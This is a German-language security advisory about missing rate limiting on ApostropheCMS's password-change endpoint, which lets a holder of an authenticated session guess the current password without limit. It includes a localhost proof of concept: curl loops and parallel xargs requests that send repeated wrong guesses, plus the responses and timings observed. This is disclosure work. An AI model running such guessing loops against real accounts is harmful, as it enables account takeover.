ApostropheCMS: Fehlende Ratenbegrenzung bei der Passwortänderung ermöglicht unbegrenztes Erraten des aktuellen Passworts
Zusammenfassung
Der Self-Service-Endpunkt zur Passwortänderung prüft zwar das aktuelle Passwort, verwendet jedoch weder den Zähler für fehlgeschlagene Anmeldeversuche noch Mechanismen zur Ratenbegrenzung, Verzögerung oder Kontosperrung aus dem Login-Modul. Ein Angreifer mit einer gültigen, authentifizierten Sitzung kann wiederholt Vermutungen für das aktuelle Passwort absenden, ohne gesperrt oder gedrosselt zu werden.
Betroffener Quellpfad
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
Die Route zur Passwortänderung:
PATCH /api/v1/@apostrophecms/settings/password
Die Route ruft die Passwortprüfung direkt auf über:
await self.handleProtectedSubform(req, subform, req.body );
Pfad der Passwortüberprüfung:
packages/apostrophe/modules/@apostrophecms/settings/index.js:514-542
async handlePasswordProtectedSubform(req, subform, payload) {
try {
await self.apos.user.verifyPassword(req.user, payload.passwordCurrent);
} catch (e) {
throw self.apos.error(
'forbidden',
'apostrophe:passwordCurrentError',
{ path: 'passwordCurrent' }
);
}
return subform;
}
Der Prüfer selbst erhöht weder den Anmeldeversuchs-Cache noch erzwingt er eine Verzögerung:
packages/apostrophe/modules/@apostrophecms/user/index.js:412-487
Im Gegensatz dazu ruft die Login-Route explizit checkLoginAttempts und addLoginAttempt auf:
packages/apostrophe/modules/@apostrophecms/login/index.js:831-929
Lokaler Proof of Concept (PoC)
Der Test nutzte eine authentifizierte Guest-Sitzung:
Anfrage:
PATCH /api/v1/@apostrophecms/settings/password HTTP/1.1
Host: 127.0.0.1:3000
Cookie: <redacted-authenticated-session>
Content-Type: application/json
{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}
Entsprechender Befehl:
for i in 1 2 3 4 5; do
time curl -i -sS \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{
"password": "new-temporary-password",
"passwordRepeat": "new-temporary-password",
"passwordCurrent": "definitely-wrong-current-password"
}'
done
Beobachtete Antwort: Alle fünf Versuche lieferten dieselbe unmittelbare Validierungsantwort:
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
{
"name": "forbidden",
"data": {
"path": "passwordCurrent"
},
"message": "apostrophe:passwordCurrentError"
}
Beobachtete Antwortzeiten lagen ungefähr bei:
- Versuch 1: 231 ms
- Versuch 2: 232 ms
- Versuch 3: 226 ms
- Versuch 4: 229 ms
- Versuch 5: 226 ms
Kein Versuch führte zu einer Drosselungsantwort, einer Sperrmeldung, einem Retry-After-Header oder einem Rate-Limit-Status.
seq 1 20 | xargs -P 20 -I{} sh -c \
"curl --max-time 15 -sS \
-o /tmp/password-attempt-{}.body \
-w '%{http_code}\\n' \
-b /path/to/temporary-session-cookie-jar.txt \
-X PATCH \
'http://127.0.0.1:3000/api/v1/@apostrophecms/settings/password' \
-H 'Content-Type: application/json' \
--data-raw '{\"password\":\"new-temporary-password-{}\",\"passwordRepeat\":\"new-temporary-password-{}\",\"passwordCurrent\":\"wrong-current-{}\"}'"
Ergebnis:
- 20 Anfragen ->
HTTP 403 Forbidden - 0 Anfragen ->
HTTP 429 Too Many Requests - 0 Anfragen -> Lockout-Antwort
Das gültige Passwort konnte sich danach weiterhin authentifizieren:
POST /api/v1/@apostrophecms/login/login HTTP/1.1
HTTP/1.1 200 OK
Auswirkungen
Ein Angreifer, der eine gültige Sitzung erlangt oder übernommen hat, kann wiederholt versuchen, das aktuelle Passwort über den Endpunkt zur Passwortänderung zu erraten. Jeder Versuch erhält eine reguläre Antwort, ohne dass Drosselungen oder Sperrmechanismen greifen. Ist das aktuelle Passwort schwach oder wiederverwendet, kann der Angreifer die Prüfung bestehen, das Kontopasswort ersetzen und sich anschließend mit den neuen Daten anmelden. Der Angriff erfordert eine gültige authentifizierte Sitzung und funktioniert nicht anonym.
Was zu tun ist
Aktualisieren Sie apostrophe auf Version 4.33.0 oder höher.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | apostrophe | < 4.33.0 | 4.33.0 |
Verweise
- https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-653j-g8j7-gh54
- https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
- https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
- https://github.com/apostrophecms/apostrophe
- https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N- Schwäche (CWE)
CWE-307- Plattform
- npm
- Paket
apostrophe- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 20.10.2026 21:33
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-653j-g8j7-gh54 - CC BY 4.0
Schwachstellenhistorie: apostrophe
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 27
- Erste → letzte
- 09.2020 10.2026
- Ohne Fix
- 4
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 2
- Hoch 8
- Mittel 13
- Niedrig 4
Veröffentlichungen pro Jahr
- 2020: 2
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 23
-
ApostropheCMS: Fehlende Ratenbegrenzung bei der Passwortänderung ermöglicht unbegrenztes Erraten des aktuellen Passworts dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.